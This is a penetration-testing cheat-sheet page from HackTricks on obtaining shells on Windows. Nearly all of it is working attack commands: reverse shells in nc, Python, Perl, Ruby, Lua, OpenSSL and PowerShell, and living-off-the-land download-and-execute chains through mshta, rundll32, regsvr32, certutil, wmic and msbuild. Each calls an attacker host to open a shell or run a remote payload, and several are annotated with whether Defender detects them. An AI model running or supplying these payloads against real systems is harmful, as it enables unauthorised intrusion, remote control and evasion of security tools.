HackTricks Press
Search K

Appearance

Shells - Windows ​

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Try Hard Security Group

⛓️ External Link
https://discord.gg/tryhardsecurity

Lolbas ​

The page lolbas-project.github.io is for Windows like https://gtfobins.github.io/ is for linux.
Obviously, there aren't SUID files or sudo privileges in Windows, but it's useful to know how some binaries can be (ab)used to perform some kind of unexpected actions like execute arbitrary code.

NC ​

bash
nc.exe -e cmd.exe <Attacker_IP> <PORT>

SBD ​

sbd is a portable and secure Netcat alternative. It works on Unix-like systems and Win32. With features like strong encryption, program execution, customizable source ports, and continuous reconnection, sbd provides a versatile solution for TCP/IP communication. For Windows users, the sbd.exe version from the Kali Linux distribution can be used as a reliable replacement for Netcat.

bash
# Victims machine
sbd -l -p 4444 -e bash -v -n
listening on port 4444


# Atackers
sbd 10.10.10.10 4444
id
uid=0(root) gid=0(root) groups=0(root)

Python ​

bash
#Windows
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"

Perl ​

bash
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Ruby ​

bash
#Windows
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Lua ​

bash
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

OpenSSH ​

Attacker (Kali)

bash
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response

Victim

bash
#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

#Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

Powershell ​

bash
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile

Process performing network call: powershell.exe
Payload written on disk: NO (at least nowhere I could find using procmon !)

bash
powershell -exec bypass -f \\webdavserver\folder\payload.ps1

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache

One liner:

bash
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Get more info about different Powershell Shells at the end of this document

Mshta ​

bash
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
bash
mshta http://webserver/payload.hta
bash
mshta \\webdavserver\folder\payload.hta

Example of hta-psh reverse shell (use hta to download and execute PS backdoor) ​

xml
 <scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>

You can download & execute very easily a Koadic zombie using the stager hta

hta example ​

From here

xml
<html>
<head>
<HTA:APPLICATION ID="HelloExample">
<script language="jscript">
        var c = "cmd.exe /c calc.exe"; 
        new ActiveXObject('WScript.Shell').Run(c);
</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>

mshta - sct ​

From here

xml
<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close();  -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:C:\local\path\scriptlet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
    var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>

Mshta - Metasploit ​

bash
use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit
bash
Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit

Detected by defender

Rundll32 ​

Dll hello world example

bash
rundll32 \\webdavserver\folder\payload.dll,entrypoint
bash
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();

Detected by defender

Rundll32 - sct

From here

xml
<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close();  -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
    var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>

Rundll32 - Metasploit ​

bash
use windows/smb/smb_delivery
run
#You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0

Rundll32 - Koadic

bash
use stager/js/rundll32_js
set SRVHOST 192.168.1.107
set ENDPOINT sales
run
#Koadic will tell you what you need to execute inside the victim, it will be something like:
rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close();

Regsvr32 ​

bash
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll

Detected by defender

Regsvr32 -sct ​

From here

markup
<?XML version="1.0"?>
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
<scriptlet>
<registration 
    progid="PoC"
    classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
    <script language="JScript">
        <![CDATA[
            var r = new ActiveXObject("WScript.Shell").Run("calc.exe");    
        ]]>
</script>
</registration>
</scriptlet>

Regsvr32 - Metasploit ​

bash
use multi/script/web_delivery
set target 3
set payload windows/meterpreter/reverse/tcp
set lhost 10.2.0.5
run
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll

You can download & execute very easily a Koadic zombie using the stager regsvr

Certutil ​

Download a B64dll, decode it and execute it.

bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll

Download a B64exe, decode it and execute it.

bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe

Detected by defender

Cscript/Wscript ​

bash
powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""

Cscript - Metasploit

bash
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs

Detected by defender

PS-Bat ​

bash
\\webdavserver\folder\batchfile.bat

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache

bash
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
impacket-smbserver -smb2support kali `pwd`
bash
\\10.8.0.3\kali\shell.bat

Detected by defender

MSIExec ​

Attacker

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
python -m SimpleHTTPServer 80

Victim:

victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi

Detected

Wmic ​

bash
wmic os get /format:"https://webserver/payload.xsl"

Example xsl file from here:

xml
<?xml version='1.0'?>
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
<output method="text"/>
    <ms:script implements-prefix="user" language="JScript">
        <![CDATA[
            var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object Net.WebClient).DownloadString('http://10.2.0.5/shell.ps1') | powershell -noprofile -");
        ]]>
    </ms:script>
</stylesheet>

Not detected

You can download & execute very easily a Koadic zombie using the stager wmic

Msbuild ​

cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"

You can use this technique to bypass Application Whitelisting and Powershell.exe restrictions. As you will be prompted with a PS shell.
Just download this and execute it: https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj

Not detected

CSC ​

Compile C# code in the victim machine.

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs

You can download a basic C# reverse shell from here: https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc

Not deteted

Regasm/Regsvc ​

bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll

I haven't tried it

https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182

Odbcconf ​

bash
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}

I haven't tried it

https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2

Powershell Shells ​

PS-Nishang ​

https://github.com/samratashok/nishang

In the Shells folder, there are a lot of different shells. To download and execute Invoke-PowerShellTcp.ps1 make a copy of the script and append to the end of the file:

Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444

Start serving the script in a web server and execute it on the victim's end:

powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"

Defender doesn't detect it as malicious code (yet, 3/04/2019).

TODO: Check other nishang shells

PS-Powercat ​

https://github.com/besimorhino/powercat

Download, start a web server, start the listener, and execute it on the victim's end:

 powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"

Defender doesn't detect it as malicious code (yet, 3/04/2019).

Other options offered by powercat:

Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files...

Serve a cmd Shell:
    powercat -l -p 443 -e cmd
Send a cmd Shell:
    powercat -c 10.1.1.1 -p 443 -e cmd
Send a powershell:
    powercat -c 10.1.1.1 -p 443 -ep
Send a powershell UDP:
    powercat -c 10.1.1.1 -p 443 -ep -u
TCP Listener to TCP Client Relay:
    powercat -l -p 8000 -r tcp:10.1.1.16:443
Generate a reverse tcp payload which connects back to 10.1.1.15 port 443:
    powercat -c 10.1.1.15 -p 443 -e cmd -g
Start A Persistent Server That Serves a File:
    powercat -l -p 443 -i C:\inputfile -rep

Empire ​

https://github.com/EmpireProject/Empire

Create a powershell launcher, save it in a file and download and execute it.

powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"

Detected as malicious code

MSF-Unicorn ​

https://github.com/trustedsec/unicorn

Create a powershell version of metasploit backdoor using unicorn

python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443

Start msfconsole with the created resource:

msfconsole -r unicorn.rc

Start a web server serving the powershell_attack.txt file and execute in the victim:

powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"

Detected as malicious code

More ​

PS>Attack PS console with some offensive PS modules preloaded (cyphered)
https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9
WinPWN PS console with some offensive PS modules and proxy detection (IEX)

References ​

⛓️ External Link
https://discord.gg/tryhardsecurity
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks: